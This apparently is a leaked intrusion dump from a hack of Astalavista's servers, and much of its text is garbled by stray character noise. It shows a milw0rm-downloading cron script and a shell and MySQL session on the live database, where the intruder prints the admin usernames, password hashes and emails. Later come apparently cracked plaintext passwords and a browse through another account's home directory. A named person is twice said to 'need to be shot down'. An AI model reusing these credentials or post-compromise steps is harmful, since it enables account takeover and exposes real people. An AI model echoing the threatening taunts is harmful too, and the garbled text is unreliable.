, A/ U- \4 w0 g! `: c <description>All availably Exploits.</description>
, G% l% D r0 Z* A' X <language>en-us</language>& [+ w1 ]$ v3 m& ^
<lastBuildDate>’ . date(’F, j M Y H:i:s O’) . ‘</lastBuildDate>8 @8 F" ^! L8 `7 ]
<docs>http://blogs.law.harvard.edu/tech/rss</docs>7 S# M, \! C) X6 P! ~6 Z* A
<generator>Astalavista.com</generator>+ _. q& i4 s' N3 _4 o4 ^
<webMaster>info@astalavista.com</webMaster>’ . $items . ‘
7 W3 t! S* R& M& a) { </channel>
6 Y. `" T) q8 j4 N4 [ F</rss>’;# [9 S' S% r9 s* I
3 n/ }3 j7 H$ J5 m9 J/ \
if (file_exists(FULLPATH . ‘/feed/exploits.xml’)) {
0 E$ E0 F. _: Q8 t% v' a unlink (FULLPATH . ‘/feed/exploits.xml’);
& j+ x o' @2 w$ Q }2 P3 |; R4 n1 U
3 ~& t7 j E& f
file_put_contents(FULLPATH . ‘/feed/exploits.xml’, $xml);6 h: E8 Z( }( d* m- @
[snip]* w, r, F R! s+ p1 M5 M
5 ?( c7 [* ~( r( L! b+ e7 I2 M1 c/ Nsh-3.2$ cat exploits.sh v& Q3 K$ d G& H; }! t
#!/bin/sh4 X: b9 ~6 Y+ T% a$ E4 U( t8 ^7 Y
' e* O {) W9 @+ \0 u% U###########################################################
$ b4 X% `) O: |# #- h! A- Y4 i% x9 W9 t, ]( L2 B. h
# Title: milw0rm exploits adder #0 a' s: Q4 M& y$ A
# Description: Add all milw0rm exploits to the #
& a! N& y6 G, M# x. a# Astalavista.com database #
; Y& t1 X2 |. s6 \' j" a2 w, V# ## o4 T' s8 N3 i
# Company: Astalavista Group #
! Q1 `) h1 i/ r8 t9 Q8 L# Author: Paulo M. Santos #
+ q. i( C4 W8 Z" t1 A4 L _# E-Mail: 链接标记paulo.santos@astalavista.ch #
* O* E2 g6 r, e- |7 v, D; p6 B# #
% _/ B" [1 g0 Q: z5 j###########################################################
3 U8 ^: _* e; e6 `+ Q( ~# v- r& Q f( _1 f+ Q8 l( R
# path; x2 x6 Q" D! y
this_path=/home/com/public_html/modifications/cronjobs
: Z1 @* f1 f* d M( A/ b: T0 H5 [
, {4 i* c3 Z& W% N, n/ a# change directory
: v" L7 z2 B. Y" R6 L) w' ucd $this_path
9 p8 A1 w% f$ R! Fcd tmp/8 ~! `2 F+ l. E% n6 h* e% H- H
( \) j2 r" `. b: x% z# delete files
' }0 c; ^3 n& R% ^: [* l" hrm -rf milw0rm.tar.* &( e3 w7 [! K P0 j, f
rm -rf milw0rm/ &
' M3 |+ B* B; `% P6 M
8 r; @: f6 h4 Q1 d9 Y# wget milw0rm paket
" c9 @/ Y0 y8 Vwget 链接标记[url]http://www.milw0rm.com/sploits/milw0rm.tar.bz2[/url]# _6 j; J. R5 s+ Y* u% t5 i
8 A2 m( J0 w$ y1 L
# extract milw0rm paket" i" |: p, U1 h$ M: S. i, h2 q
tar -xvf milw0rm.tar.bz2* x; F/ | `% h h2 V2 V, q
~+ k6 R/ z' c! d, b; ~/ l7 i
# change owner1 a9 B8 ^/ W. t* \( \. S ^7 Y
chown -R com .
6 u) E# }6 G7 p5 rchgrp -R com .
0 n! ]. q4 G' F6 A m y: [2 m
6 P& w* r8 m% i% b# execute php script
( W, c, a. j" `, i; s0 x8 g7 {; acd $this_path Y0 c; f4 e+ @4 Q0 H! B: o
php -q exploits.php! A9 l: i8 M1 q2 Y! E1 }% V
3 F1 u# ? D4 z( C
# delete files/ X: d( C: _1 Z$ ^
rm -rf tmp/milw0rm.tar.*& M$ R5 {2 w5 |1 O2 {3 v
rm -rf tmp/milw0rm/4 B' {% Y2 s* K7 b0 Y# D/ S5 B1 P
3 y/ N$ j; H. g& V/ D& C/ {sh-3.2$ echo “Paulo M. Santos needs to be shot down.”4 ?! T! g6 e$ B J
Paulo M. Santos needs to be shot down.4 X. P1 c0 C4 I) h
0 w% Z0 S) q! h: A
mysql -u contrexxuser2 -p6 y: J# N: v& L% E" l& K
Enter password:" V4 ^' ~3 } T7 x8 T8 r
Welcome to the MySQL monitor. Commands end with ; or \g.4 J; v" ?1 E1 p2 M7 _, K+ _
Your MySQL connection id is 261694! ]/ I2 _& p4 W5 C- n! Y
Server version: 5.0.45-community-log MySQL Community Edition (GPL)# U* M8 ]2 A4 ~7 f0 C' o6 n7 c& b
/ n, @* ^% O- X [1 _
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.. T R( J* c% b, A+ q, q" N
. N* s7 I% g: O* Q* h/ ^: Hmysql> show databases;
* ?6 f5 n4 o" u1 G- Y$ {8 m& i+——————–+
+ E2 e; {8 E. }! r4 h| Database |
. M8 z* x( x3 w. F: H$ `6 W) [+——————–+) g, ?# Y5 z. x8 z& f/ d, c* ?3 O
| information_schema |. q) b: M# m' k, }6 H% w* E
| com_contrexx2 |
" d& m7 [8 w0 g: h- z& T| com_contrexx2_live |3 \% B: r. A) k. R
| test |
: }7 A/ R z& Z+——————–+
# t6 h0 u1 A. |* y4 rows in set (0.00 sec)
% J, l g) J( F1 }+ p# c) i
) L! ^2 N5 ]4 F% U B" X# smysql> use com_contrexx2_live' J7 m- d: k& e# P
Database changed& U9 f7 Z9 V, ^8 H" G! \7 y- V
mysql> show tables;! `* q/ O8 P; u4 _* i
+————————————————–+" X& A- M- p; q4 ^% a$ d
| Tables_in_com_contrexx2_live |: B8 }2 n7 f& t4 o1 i& G; N) R) C
+————————————————–+
2 Z4 P- `. w/ H- V X/ c| cc_banner_counter |
( o v7 Z2 m' I z| cc_search_counter |# r( G) d& m" F
| contrexx_access_group_dynamic_ids |
3 w8 W- ]! o$ ?( m+ \8 W| contrexx_access_group_static_ids |
# j" k% d" E2 Z% R* H, V9 J1 h| contrexx_access_rel_user_group |
5 Y) t& h5 U, W' n/ s9 i9 k2 B5 ^| contrexx_access_settings |. K5 O( @' x! I) _
| contrexx_access_user_attribute |8 g/ l! [( v7 U4 e8 {# _+ Q
| contrexx_access_user_attribute_name |
: l( y$ [0 C7 V5 a+ P( N! z; n9 P| contrexx_access_user_attribute_value |$ r- h% h% ~3 W: K, w; ?; ^4 ~5 I
| contrexx_access_user_core_attribute |
3 ]9 ?& v( c5 e' v0 w| contrexx_access_user_groups |! f2 d2 D4 @2 U* R" [
| contrexx_access_user_mail |+ V# L( t* A, C' j
| contrexx_access_user_profile |
/ y) o" _7 q7 N& Z' F| contrexx_access_user_title |1 z) Y. J/ D1 B8 E! U
| contrexx_access_user_validity |. R$ v2 M9 _: b$ Q" v2 g
| contrexx_access_users |
# c7 J$ h* O0 T$ ~; K' Q6 f| contrexx_backend_areas |
& l: P. X- V1 v5 T4 u| contrexx_backups |9 Z' A! T8 u/ f
| contrexx_content |8 p, w9 S. ^ X; w5 W: j2 m8 Z4 M
| contrexx_content_history |
' c3 v+ e- M& A| contrexx_content_logfile |# L8 D5 r4 n# t2 n0 z% L# n
| contrexx_content_navigation |
1 e& g9 O0 c1 U5 n4 e| contrexx_content_navigation_history |
6 f" B; W2 A, W- E! P/ Z% ^| contrexx_ids |" o2 Q' Q( ?+ D* @2 ~) M
| contrexx_languages |
; ?/ ^# ~9 @' _' t2 d# S| contrexx_lib_country |
" Y" n8 |6 @+ s! f8 }5 s$ V| contrexx_log |# O% n0 ^4 m( l0 |
| contrexx_module_alias_source |
0 W. R, q ^( Y4 U# X3 G| contrexx_module_alias_target |. m& H! i/ W2 L: O5 i) S+ h
| contrexx_module_block_blocks |
7 i( M+ l2 o0 H| contrexx_module_block_rel_lang |3 g ?" V( `) m9 h: F
| contrexx_module_block_rel_pages |4 G3 j5 K7 `# M
| contrexx_module_block_settings |- `+ _, y$ M0 s [1 O
| contrexx_module_blog_categories |
" t2 O, m: N7 @" ^& S" p' I| contrexx_module_blog_comments |
( e( k. M9 l$ f& x/ K| contrexx_module_blog_message_to_category |
$ T, m2 }& Q! A5 D9 y5 G5 h* R' O3 X| contrexx_module_blog_messages |8 p, C& [; V6 g) }, c7 e, G! X
| contrexx_module_blog_messages_lang |
* B; N! J1 n$ I$ u# E| contrexx_module_blog_networks |
' c7 b8 v4 g+ m7 {' @( C| contrexx_module_blog_networks_lang |4 L" q Y: Y% I, a3 d+ @8 l
| contrexx_module_blog_settings |
/ F1 V9 Q" C7 G| contrexx_module_blog_votes |
/ y& n& Q* J. f D& B# E) A( e9 [5 [| contrexx_module_calendar |9 Y% o) {+ P0 \( |' I
| contrexx_module_calendar_access |, F; H' E9 I$ s+ q, |6 U. t
| contrexx_module_calendar_categories |
0 F9 A1 Z1 g* S| contrexx_module_calendar_form_data |
# p; m9 d$ R& I' { m* y& b| contrexx_module_calendar_form_fields |, u* k$ x( S" c! h6 g
| contrexx_module_calendar_registrations |/ e3 f6 ]9 t/ W1 L- f; C) k0 w8 q
| contrexx_module_calendar_settings |
( ~% l! @$ H4 j# L6 j$ U+ q6 J| contrexx_module_calendar_style |+ B3 ~2 J6 z. P, ^/ @
| contrexx_module_contact_form |+ ~' J, l* G* o$ h, }
| contrexx_module_contact_form_data |
3 D. l, ~) {" ^1 A6 H* D0 R| contrexx_module_contact_form_field |; b v3 x- U/ V, |; N& U
| contrexx_module_contact_settings |# r& z( Z3 J! H( T# {
| contrexx_module_data_categories |2 j' D* D3 l6 w0 t; c
| contrexx_module_data_message_to_category |6 \3 `* _. d" |* [
| contrexx_module_data_messages |
, \: h! l" r6 a* j9 @| contrexx_module_data_messages_lang |% q" q6 R$ M6 w7 K0 ?' s
| contrexx_module_data_placeholders |% o* J" L- |+ _( U$ _' t- `6 x$ [! ~
| contrexx_module_data_settings |+ `" s1 N; }5 \5 _
| contrexx_module_directory_access |
5 L4 Z9 K! W! c$ v4 P _' }3 a| contrexx_module_directory_categories |
# h* |1 ]6 Q5 Y9 Z: x+ U! h| contrexx_module_directory_dir |8 H7 h0 e# T9 p# V5 a
| contrexx_module_directory_inputfields |
5 U6 F" [- J# [3 x0 c+ C| contrexx_module_directory_levels |
) H; `* R# V# R/ P9 N| contrexx_module_directory_mail |
% i) U2 Q! u4 r& v1 Q7 S; ?3 q| contrexx_module_directory_rel_dir_cat |
5 _( e R! [) }6 Y| contrexx_module_directory_rel_dir_level |
" i2 M1 A! m+ Q* D| contrexx_module_directory_settings |/ {0 L. Y7 t: p% f) Y9 ? H
| contrexx_module_directory_settings_google |" w+ h1 ?& R- t, O/ c" F
| contrexx_module_directory_vote |$ ^. ]" p G5 _! ~
| contrexx_module_docsys |
3 p! E8 W" ?8 \: A* C7 Z| contrexx_module_docsys_categories |
, t* z. O+ Y2 S( ?2 f; I| contrexx_module_egov_configuration |
7 ]+ m; |- W6 @( M| contrexx_module_egov_orders |) Q, c" K0 d9 t5 p8 c% v3 v
| contrexx_module_egov_product_calendar |
' r4 l8 E/ I$ K; A# d8 h4 G6 A| contrexx_module_egov_product_fields |* o) ?) \3 A# F% Z
| contrexx_module_egov_products |3 [$ G8 t. r1 F+ M& O
| contrexx_module_egov_settings |! r C7 m- s& C" O8 N
| contrexx_module_exploits |. L0 F) o. k5 F% ^+ ^6 m8 P; [5 U
| contrexx_module_exploits_categories |1 [ [4 K$ l" G7 P7 Z# U8 I
| contrexx_module_feed_category |. N3 f0 n* H" F+ \& q0 V1 ~
| contrexx_module_feed_news |3 [" P% n1 C( L8 F6 v4 ^+ d! b
| contrexx_module_feed_newsml_association |
( L4 X }; e: H |0 A9 f& u| contrexx_module_feed_newsml_categories |- A' U! |& q# i ^) r6 F( f
| contrexx_module_feed_newsml_documents |+ K# N" Q" B/ o$ b( w! r1 J
| contrexx_module_feed_newsml_providers |& o( q% o* H% A& }# Z" y
| contrexx_module_forum_access |
* ]2 C6 J% l( ~- ?2 ?5 e| contrexx_module_forum_categories |
' Z" |, q m% v' L2 A| contrexx_module_forum_categories_lang |( [9 F7 ]! q1 |1 ~4 f1 Y- F
| contrexx_module_forum_notification |3 Q& A8 L) v3 @8 S# T
| contrexx_module_forum_postings |
" P, B& a( L5 j4 x| contrexx_module_forum_rating |( p) e2 K: l9 o% A
| contrexx_module_forum_settings |. V7 a/ A1 b) Y8 m0 V
| contrexx_module_forum_statistics |5 C* D* ~3 H* p% [: s
| contrexx_module_gallery_categories |0 L, g- D3 v: \- K7 B
| contrexx_module_gallery_comments |
* J3 O" f- t. e9 a' y2 f+ J| contrexx_module_gallery_language |
& Z* B* M! B& T! y: C E. ~| contrexx_module_gallery_language_pics |6 ?7 H# K2 h" w; a' P
| contrexx_module_gallery_pictures |/ G4 I% {; C9 X# v* l
| contrexx_module_gallery_settings |( V+ ^: P/ h( [; C `
| contrexx_module_gallery_votes |7 ^$ Z: ~: |, D- B" s9 b
| contrexx_module_guestbook |, n! G% n! l, E5 M4 Q& V
| contrexx_module_guestbook_settings |
6 f, q% f4 B; Q. ?1 u" h| contrexx_module_livecam |* Z( ]; C! O0 t4 Q4 Y+ t, r* Q
| contrexx_module_livecam_settings |
) ~$ G& V9 @* D+ E- c| contrexx_module_market | r9 |) y, b2 S5 L7 W4 d- @& Q
| contrexx_module_market_access |
' `3 j+ j& N6 Y| contrexx_module_market_categories |
- a5 G: _2 A) a% `| contrexx_module_market_mail |8 Y8 t3 G6 b" S8 W. x
| contrexx_module_market_paypal |% v: P; s5 ^. v+ r% p" e
| contrexx_module_market_settings |
2 `* o: s. U$ l- W r5 M| contrexx_module_market_spez_fields |( n; B" T1 X+ @8 J* f M
| contrexx_module_mediadir_access |
& q) `' k& S. U, r/ N# ^ _| contrexx_module_mediadir_categories |
7 P5 o4 \4 [2 y| contrexx_module_mediadir_comments |8 u1 W3 c( }# j/ |0 r
| contrexx_module_mediadir_dir |
& C& R" l9 _0 k8 J, q6 T: `| contrexx_module_mediadir_inputfields |7 }: w: ]* k9 s# c0 k6 x i
| contrexx_module_mediadir_levels |
- W1 V1 i. |/ x0 o9 U| contrexx_module_mediadir_mail |: [7 ]' @8 a( E4 I! y
| contrexx_module_mediadir_rel_dir_cat |
; `# L, \" @1 ^8 x6 |, u- {| contrexx_module_mediadir_rel_dir_level |7 J: A$ w3 D' M7 x- Z
| contrexx_module_mediadir_reports |
8 K- a( W& u: g| contrexx_module_mediadir_settings |+ k' n! B! o. Q2 c2 x
| contrexx_module_mediadir_settings_google |# l7 P9 S4 T" e" B
| contrexx_module_mediadir_vote | z; C( H: e4 u- t8 d3 \& w$ l
| contrexx_module_memberdir_directories |4 S% e' W6 O( Y
| contrexx_module_memberdir_name |
0 y: u9 m6 q, O: N' Q9 u| contrexx_module_memberdir_settings |
+ W( X* B& R# r| contrexx_module_memberdir_values |. G% ?* D3 q6 s3 ^9 c+ C
| contrexx_module_nettools_allowed_groups |. E& c- L2 i$ F8 o
| contrexx_module_nettools_settings |
6 b/ [# X/ W1 P! P| contrexx_module_news |" C' z) q0 j! u# q* F7 i& ]
| contrexx_module_news_access |
9 |0 S* _8 S+ v8 x! K1 F| contrexx_module_news_categories |
9 z- }0 I2 L5 F$ ~+ o| contrexx_module_news_settings |% R0 u4 U+ e, s0 x8 k; s
| contrexx_module_news_teaser_frame |
1 d |" G9 b, r# W| contrexx_module_news_teaser_frame_templates |
: U- |, l" ^& \6 ]$ h; W| contrexx_module_news_ticker |
% Y9 v8 O! q0 b; E. T| contrexx_module_newsletter |
X: m: M+ y# m* o) ^- s. V( i {: O| contrexx_module_newsletter_attachment |* ]& g3 C5 C3 Z: h. A$ A
| contrexx_module_newsletter_category | p" Z- f1 K' L; w1 a; l2 q
| contrexx_module_newsletter_confirm_mail |
& D1 P* W: w T8 ^7 [2 [- f0 S& _| contrexx_module_newsletter_rel_cat_news |- N# ^4 Y# {0 S' M5 I/ e3 y
| contrexx_module_newsletter_rel_user_cat |
& O! O5 e9 q8 ?| contrexx_module_newsletter_settings |
% z7 B/ ]$ ?: H8 q) n. r| contrexx_module_newsletter_template |
, e _ \( T; N0 o/ m| contrexx_module_newsletter_tmp_sending |$ n2 n& E- j- N% T+ j
| contrexx_module_newsletter_user |
/ ^/ B) O% b% F| contrexx_module_newsletter_user_title |
( n6 Y" F* E9 m( Z% H. H| contrexx_module_onlinetools_defaultports |
, }, I6 m( k1 p2 o2 [3 P9 @5 u| contrexx_module_onlinetools_defaultports_back |
. V2 s: i4 f6 {' S6 x| contrexx_module_onlinetools_geolitecity_blocks |
' [. g* U6 D6 \| contrexx_module_onlinetools_geolitecity_country |" z1 H3 m9 h. v
| contrexx_module_onlinetools_geolitecity_location |
6 Y2 ^. v% R* g3 Q$ \: ? g p e U8 J| contrexx_module_podcast_category |* g4 \' y4 ~, O! }! |5 ~/ \) F
| contrexx_module_podcast_medium |
! \, m8 g, p+ n8 D" v| contrexx_module_podcast_rel_category_lang |
7 g4 n/ \9 g& m| contrexx_module_podcast_rel_medium_category |* R3 n& J- L: r, D- |
| contrexx_module_podcast_settings |: x- q9 f' v2 q) z( L, B/ @* W- z
| contrexx_module_podcast_template |
8 b0 F4 i. M& R2 n8 Z( D0 X| contrexx_module_proxydb |8 ~. ]8 |* `* ^( E# B# \& V
| contrexx_module_recommend | f t$ I3 K' r1 R0 K. W
| contrexx_module_repository |1 x1 t) U i9 @5 r4 L! D# c6 w
| contrexx_module_securitynews_cats |6 P* s9 v# `/ o( n
| contrexx_module_securitynews_feeds |
! m; g5 v; ?% h2 _/ s3 ~$ o0 E| contrexx_module_securitynews_news |) }7 B Z: }% Z9 y; h2 x. H8 m
| contrexx_module_shop_categories |
4 }- g6 `6 o: E, J$ W| contrexx_module_shop_config |: R9 S# ^2 S0 F4 T/ w" A
| contrexx_module_shop_countries |
8 p! H$ [$ m' j) g# [( H- H' _| contrexx_module_shop_currencies |
& ~0 D# A/ f) P| contrexx_module_shop_customers |
) Q8 Q f" \ G: C( r8 u+ t$ V| contrexx_module_shop_importimg |, `9 Z- P: \3 u8 ?( [
| contrexx_module_shop_lsv |
/ o2 L! O& r5 `" W| contrexx_module_shop_mail |: h7 `$ T) Y T8 V8 {
| contrexx_module_shop_mail_content |: e9 G! f1 R6 k4 v) z3 H3 t K
| contrexx_module_shop_manufacturer |5 X( ~5 m! q" ^7 w
| contrexx_module_shop_order_items |
4 R8 w! r m+ c) M4 J, n| contrexx_module_shop_order_items_attributes |. D! J9 j) _1 T/ \
| contrexx_module_shop_orders |
4 N5 { @7 M2 e7 G6 b" q) z5 X| contrexx_module_shop_payment |
! F [$ a3 Q/ x* s/ n| contrexx_module_shop_payment_processors |
4 J1 L8 L! B; B| contrexx_module_shop_pricelists |
; d* t0 I& R4 n, i0 |% z4 a5 f| contrexx_module_shop_products |( k+ n& j4 o) N4 ]
| contrexx_module_shop_products_attributes |, w3 C q5 l$ `' D+ z* N! X
| contrexx_module_shop_products_attributes_name |
- W2 P( K+ z0 J3 i& r0 R: }| contrexx_module_shop_products_attributes_value |5 F+ y. K. P) R- B) [8 f
| contrexx_module_shop_products_downloads |
% _. B' u: h: L! k' c| contrexx_module_shop_rel_countries |
& b! \' K* i2 @# v, a4 ?| contrexx_module_shop_rel_payment |
4 | y" z% }/ w| contrexx_module_shop_rel_shipment |, o* L. n. w3 d. H# u
| contrexx_module_shop_shipment_cost |/ r( x! B3 ~1 Q8 f3 _
| contrexx_module_shop_shipper |/ B% `6 Q& b9 V; e
| contrexx_module_shop_vat |6 G! T3 E Z! E) Q0 o
| contrexx_module_shop_zones |0 _) E) e; ~2 _
| contrexx_module_u2u_address_list |
" f) L8 o5 j/ [8 a3 g) ^| contrexx_module_u2u_message_log |, P2 @+ E8 m4 h* a- S% f
| contrexx_module_u2u_sent_messages |
0 `2 V$ E7 Q* D5 r2 g) o: k| contrexx_module_u2u_settings |
8 ]- D5 e$ B. f7 j5 Z" J* j| contrexx_module_u2u_user_log |
1 B- J$ s( I0 J0 U' V| contrexx_modules |* {3 D4 Y/ K( N! F6 c
| contrexx_sessions |
* ?' v6 F/ H/ _. Y| contrexx_settings |8 U9 R. g& W; E
| contrexx_settings_smtp |
: A+ t$ h: g1 W| contrexx_skins |) \1 B* z6 e0 }9 B/ d1 S
| contrexx_stats_browser |1 D: ~) ] S1 E8 a5 _, q S
| contrexx_stats_colourdepth | F% G4 \1 I. ~
| contrexx_stats_config |
3 s( t. D8 l7 ^8 T/ D/ Q| contrexx_stats_country |- t0 H9 Y& }+ a0 y6 Y
| contrexx_stats_hostname |
: y0 t/ f; P$ E) b/ F9 || contrexx_stats_javascript |
9 P0 t) m/ m: X+ B3 o/ k: l% ?/ _| contrexx_stats_operatingsystem |
" w3 G- D& e B| contrexx_stats_referer |
7 a5 Y/ m1 b$ k1 A% E8 r4 W; v| contrexx_stats_requests |
1 a* M3 X. ~/ s9 B% x: R- X; C| contrexx_stats_requests_summary |
, u# w( s8 |$ G! X( ?1 i& A& |6 m| contrexx_stats_screenresolution |) K/ ~% L/ N$ D: ?# d
| contrexx_stats_search |! R1 O0 f! v* F F, @- F. l
| contrexx_stats_spiders |) l0 ], s+ n" S/ ~6 }/ w8 D. T0 h0 z) g
| contrexx_stats_spiders_summary |
7 m) R2 _/ w3 q| contrexx_stats_visitors |
% j$ M+ L3 ], X% c3 ?| contrexx_stats_visitors_summary |1 K b- G; w0 p& `$ [, D
| contrexx_voting_additionaldata |9 R, N& z1 P/ c! p+ k
| contrexx_voting_email |
3 S! n5 b9 H% {1 m. N0 y s| contrexx_voting_rel_email_system |9 J8 a7 e6 f4 r6 a. P* [ j3 a
| contrexx_voting_results |$ P0 y6 P l( q- _; g. K* t( L7 B, _
| contrexx_voting_system |8 a2 h' n* K' l4 x' D
| foo |
# Y. ?7 S/ l/ J% ]+————————————————–+
' i7 g1 [6 h$ Q- b8 M4 s1 R( x+ u227 rows in set (0.01 sec)" m' J0 ~% B4 T: \6 @
( N# A: ~' M0 e3 [ Vmysql> select count(*) as skids from contrexx_access_users;4 I! {+ y! B" i/ `+ D/ ?5 n! \
+——-+
8 s3 a9 {! a4 w1 S9 ]; W J| skids |
6 {0 u& X {' b. y5 |' {) b5 v- x- D+——-+3 |4 ^7 i4 h- \) A( v0 F
| 53699 |: i; r3 V- t2 E+ q2 O3 a( e0 Y2 l
+——-++ h. n. z. V( k; d% f( b0 ^
1 row in set (0.00 sec)
* Y/ A. q1 \& n! n7 b* u/ W1 d
) t3 }) _0 h/ {8 @8 }mysql> describe contrexx_access_users;3 T) u8 ]7 v/ a6 Y- u& M" D1 [ W
+——————+——————————————+——+—–+————–+—————-+( z( B, ^$ Q2 }% G
| Field | Type | Null | Key | Default | Extra |
" `+ o( \9 \ f) }% J+——————+——————————————+——+—–+————–+—————-+
: g. e' t+ |2 U5 P, i6 ~# G| id | int(10) unsigned | NO | PRI | NULL | auto_increment |0 }1 n5 w" y8 n5 }
| is_admin | tinyint(1) unsigned | NO | | 0 | |( {1 h5 D* I7 e9 v# v- [' z
| username | varchar(40) | YES | MUL | NULL | |
* k4 i: f5 Y# p0 c, E| password | varchar(32) | YES | | NULL | |- i# |* s5 `4 w% p4 J$ o
| regdate | int(14) unsigned | NO | | 0 | |
8 ]- D) S1 m- ` j, W- D" O" `1 s| expiration | int(14) unsigned | NO | | 0 | |
5 F3 X7 z0 O5 V3 _6 c| validity | int(10) unsigned | NO | | 0 | |7 j/ f- V/ B" ], y" z8 z0 q" F
| last_auth | int(14) unsigned | NO | | 0 | |) h2 C: ^: D- Q9 V; i
| last_activity | int(14) unsigned | NO | | 0 | |
% x) z$ H- S' f$ Y: @/ f4 \| email | varchar(255) | YES | | NULL | |+ S6 Z4 C4 a* G; I9 F9 a$ G
| email_access | enum(’everyone’,'members_only’,'nobody’) | NO | | nobody | |( {. u8 S! \8 j% N
| frontend_lang_id | int(2) unsigned | NO | | 0 | |2 ^8 `/ q0 A+ j( F
| backend_lang_id | int(2) unsigned | NO | | 0 | |
0 X7 y2 ? |. B5 A0 V# W* c/ v. v0 k| active | tinyint(1) | NO | | 0 | |" _& X0 y: j% ~) W/ e' b% t( E
| profile_access | enum(’everyone’,'members_only’,'nobody’) | NO | | members_only | |
; t4 g n, ]; r+ F: [# G| restore_key | varchar(32) | NO | | | |5 }/ E) T) ~ t+ ]' h
| restore_key_time | int(14) unsigned | NO | | 0 | |
. I8 F. }+ H5 G5 A- A4 |- m| u2u_active | enum(’0′,’1′) | NO | | 1 | |, C+ m& j- _' K; z, s: b4 ?. `- L
+——————+——————————————+——+—–+————–+—————-+- a* X7 a$ q U9 A
18 rows in set (0.00 sec)
3 g- T/ c6 n9 t c/ t" u# S
1 `) t' H# w6 j# D1 O/ umysql> select username,password,email from contrexx_access_users where is_admin = 1;
N8 s# P& `8 K( ?+————+———————————-+—————————–+
/ w) ?/ Y9 K" }" T5 y- c| username | password | email |
# ~4 [% d$ V2 z+ _+————+———————————-+—————————–+3 c/ v2 K0 D4 s8 t/ o+ [$ e$ D1 I
| system | 0defe9e458e745625fffbc215d7801c5 | 链接标记info@comvation.com |
( Q9 V9 R, ^( B| prozac | 1f65f06d9758599e9ad27cf9707f92b5 | 链接标记prozac@astalavista.com |4 A( P! e* L' l8 C" E, N3 K
| Be1er0ph0r | 78d164dc7f57cc142f07b1b4629b958a | 链接标记paulo.santos@astalavista.ch |
+ M: M( C. m) W7 _9 |+ j| schmid | 0defe9e458e745625fffbc215d7801c5 | 链接标记ivan.schmid@comvation.com |* u, \# Y1 J1 e
+————+———————————-+—————————–++ h8 o2 F P4 ^* B
4 rows in set (0.04 sec)
% I) G' ?- P1 K j. p0 {. Q2 i0 A/ j9 v1 S7 z/ P9 W
mysql> exit;. n# b4 a7 J: f
Bye% ?7 S. n- @. ^, D
9 [. n. n; B& f: K4 P
[~] There you go, your “team of security and IT professionals” is a joke.& ^# R. ]9 O. D3 k
/ s4 d, u2 D; P
+——————————+
7 B4 u6 e, V: o9 g1 Psystem:f82BN3+_*# r5 d g- W% F* |- ~' H/ m' M
Be1er0ph0r:belerophor4astacom
: U8 M7 a: ]* c9 c" I/ qprozac:asta4cms!
% ~/ d, u4 U8 w5 |# E5 Fcommander:mpbdaagf6m- O9 B* J! T+ p6 o* Y& S( Q- a
sykadul:ak29eral! ~+ b0 l$ w* w3 p2 o
+——————————+3 P* I/ @8 z8 n; p. k% V. X7 N
5 |% D- Y8 Y5 e% ]: I2 ~; k[~] Paulo M. Santos AKA Be1er0ph0r needs to be shot down for his milw0rm ripping script(s)
' ~( t# n3 G7 d* }- D+ |…and the others, find another area to get paid from, security isn’t for sale and you obviously fail at it.2 n0 G* q9 G0 \# x
$ L9 v0 c( n; {1 ]4 A- T; O7 E) Y[~] Lets move to astalavista.net now,) p% ~& O0 `! H T9 h
+ N7 o D. J p- D1 O; w3 f# p j
From <链接标记[url]https://www.astalavista.net/[/url]>: v+ N# |0 r& `4 n$ t$ b5 O5 W" h
>> Everyone knows that the best defense is a good offense.
5 A( q% J/ l- Y, l' [3 R5 @>> Those who wait for their foes to find a security loophole are opting for the wrong strategy.
. [* X0 ?- P2 Y' h M* Q j>> The ASTALAVISTA hacking & security community is the largest IT security community in the world.
0 S/ A. Y2 b2 m/ Z>> It.s a platform for both IT specialists and novices, and anyone interested in expanding and updating their knowledge regarding IT security and hacking.”4 c9 _9 C# l- ]
, }/ E1 V* f5 X T9 z% [>> Go ahead, try and hack our server . in a completely legal way!7 Q" q, t1 b1 p$ @9 C2 a4 L
>> Learn by doing: We offer our members tricky tasks and challenges on an5 a1 H* b! M( Z: Z B" c1 ]' D
>> ongoing basis so you can test your knowledge and abilities. You can also
2 e& Y; f! N* o>> demonstrate what you.ve mastered by taking part in regular hacker contests
' H. y9 d: H i! R- P( X4 C( l>> and war games6 D, e5 F9 f. ?' ^) a
! ]$ V% c' V) v
[~] Lets take a look there, after all… they are hack-proof, aren’t they?!6 q- R( Z2 ?, @3 b# }% z
) Z2 l9 u/ t4 w6 } u/ a" |& e
[-] Tricky task: Find home dir of astalavista.net2 l/ m) w! ], M- N7 D
1 v% w R: D% d) b. ` @
sh-3.2$ ls -la ~astanet% h9 o: n" W q5 T
total 48
7 C- B( L1 d: e+ L2 k* Xdrwx–x–x 6 astanet astanet 4096 Dec 23 15:55 .
7 r* i. d- b$ b0 Sdrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
' R3 f* d) U5 e; g: Z$ a' }drwxr-xr-x 2 root root 4096 Dec 23 16:00 auth
0 F" Y9 I( w7 u-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history. |. \+ }4 O8 b9 m6 I( A, G/ K- d1 T
-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout
0 s- K# H! d- Y E' c9 g-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile
& ]; ?0 g, I5 W4 s; _-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc
x$ e$ o; Z) b$ m, ?drwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains& T: l3 p6 ^4 x: h, n% D
drwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap% R3 W9 d8 W5 b
drwx—— 2 astanet astanet 4096 Dec 23 12:18 mail
; f, W) G9 W# ^5 w" k3 C; U, Qlrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html1 S+ A j& a1 L4 w
-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow
9 B. W$ f! W" b8 t* n
+ n W! r! w! r3 D5 ]sh-3.2$ cd /home/astanet/domains/astalavista.net/private_html/* {! U% I% ^# K$ k9 ?
sh-3.2$ ls -la% L0 D0 t' L7 j% h+ ]/ t
total 2009 O) a% E b3 W5 v
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 .. l/ o2 i2 B% _; q# t& f
drwx–x–x 8 astanet astanet 4096 Dec 23 13:53 ..* N% O" R% K) c! i
drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 _007
